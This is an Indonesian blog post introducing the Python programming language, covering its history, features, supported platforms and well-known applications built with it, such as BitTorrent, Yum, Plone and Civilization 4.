Python dikembangkan oleh Guido van Rossum pada tahun 1990 di CWI, Amsterdam sebagai kelanjutan dari bahasa pemrograman ABC. Versi terakhir yang dikeluarkan CWI adalah 1.2. Tahun 1995, Guido pindah ke CNRI sambil terus melanjutkan pengembangan Python.
Versi terakhir yang dikeluarkan adalah 1.6. Tahun 2000, Guido dan para pengembang inti Python pindah ke BeOpen.com yang merupakan sebuah perusahaan komersial dan membentuk BeOpen PythonLabs. Python 2.0 dikeluarkan oleh BeOpen. Setelah mengeluarkan Python 2.0, Guido dan beberapa anggota tim PythonLabs pindah ke DigitalCreations.
Nama Python dipilih oleh Guido sebagai nama bahasa ciptaannya karena kecintaan guido pada acara televisi Monty Python's Flying Circus
Fitur
Python adalah bahasa pemrograman dinamis yang mendukung pemrograman berorientasi obyek. Python dapat digunakan untuk berbagai keperluan pengembangan perangkat lunak dan dapat berjalan di berbagai platform sistem operasi. Seperti halnya bahasa pemrograman dinamis, python seringkali digunakan sebagai bahasa skrip dengan interpreter yang teintergrasi dalam sistem operasi. Saat ini kode python dapat dijalankan pada sistem berbasis:
* Linux/Unix * Windows
* Mac OS X * OS/2
* Amiga * Palm OS
* Symbian (untuk produk-produk Nokia)
Beberapa fitur yang dimiliki Python adalah:
- memiliki kepustakaan yang luas; dalam distribusi Python telah disediakan modul-modul 'siap pakai' untuk berbagai keperluan.
- memiliki tata bahasa yang jernih dan mudah dipelajari.
- memiliki aturan layout kode sumber yang memudahkan pengecekan, pembacaan kembali dan penulisan ulang kode sumber.
- berorientasi obyek.
- memiliki sistem pengelolaan memori otomatis (garbage collection, seperti java)
- modular, mudah dikembangkan dengan menciptakan modul-modul baru; modul-modul tersebut dapat dibangun dengan bahasa Python maupun C/C++.
Mendengar kata Python, yang selalu terbayang adalah jenis ular yang besar dan populer. Di dunia pemrograman, Python juga merupakan sesuatu yang populer, walaupun tingkat popularitas bahasa pemrograman Python mungkin tidak setinggi Java atau PHP. Tetapi, sejak mulai dikembangkan pada akhir tahun 1980-an oleh Guido Van Rossum, Python tidak surut dengan pergerakan teknologi yang pesat, bahkan Python terus mengalami kemajuan dan perbaikan yang signifikan. Hingga saat ini, update terakhir adalah pada 17 Agustus 2009 yang lalu, saat Python 3.1.1 dirilis.
Python tidaklah berbisa. Kita semua tahu bahwa ular Python tidak berbisa, tetapi tetap saja mematikan. Hubungannya apa ya? Bahasa pemrograman Python juga tidak berbisa alias sangat friendly, tetapi mampu membuat killer application. Agar anda langsung memperoleh gambaran dan fakta yang jelas mengenai kemampuannya,
berikut beberapa aplikasi populer yang dibuat dengan Python :
1. BitTorrent.
Merupakan aplikasi yang tentu sudah tidak asing lagi (terutama bagi anda yang memiliki koneksi internet unlimited), yaitu sebuah program peer-to-peer untuk melakukan upload/download file melalui protokol BitTorrent. Awalnya, BitTorrent ditulis dengan Python dan merupakan software gratis. Tetapi, sejak versi 6.0 ke atas, BitTorrent ditulis dengan menggunakan C++ dan merupakan software proprietary.
2. Yum.
Yellow dog Updater, Modified atau dikenal dengan YUM, merupakan sebuah utiliti RPM manajemen paket berbasis command line yang dikenal pada sistem operasi Linux. Eksistensi Python memang sudah cukup dikenal pada distro-distro Linux, juga sering digunakan sebagai bahasa scripting yang embedded pada berbagai aplikasi, diantaranya GIMP, Rhyhmbox, dan Vim.
3. Plone.
Merupakan salah satu Content Management System (CMS) yang memiliki tingkat security yang sangat baik dan memiliki berbagai fitur yang menarik.
4. Civilization 4.
Game komputer dengan genre strategi dan telah dirilis dengan berbagai bahasa. Game ini menggunakan Python untuk melakukan berbagai fungsi, seperti menghasilkan peta, event, dan berbagai interface pada game tersebut.
Dan masih banyak lagi contoh lainnya. Python tidak terbatas untuk pembuatan aplikasi tertentu. Selain contoh-contoh aplikasi populer diatas, berbagai aplikasi seperti instant messaging, database, media player, web framework, dan lainnya, juga dapat dihasilkan oleh bahasa pemrograman Python.
Labels:
Pemrograman,
Python
Posted by
Rangga Pratama
at
8:43 AM
0
comments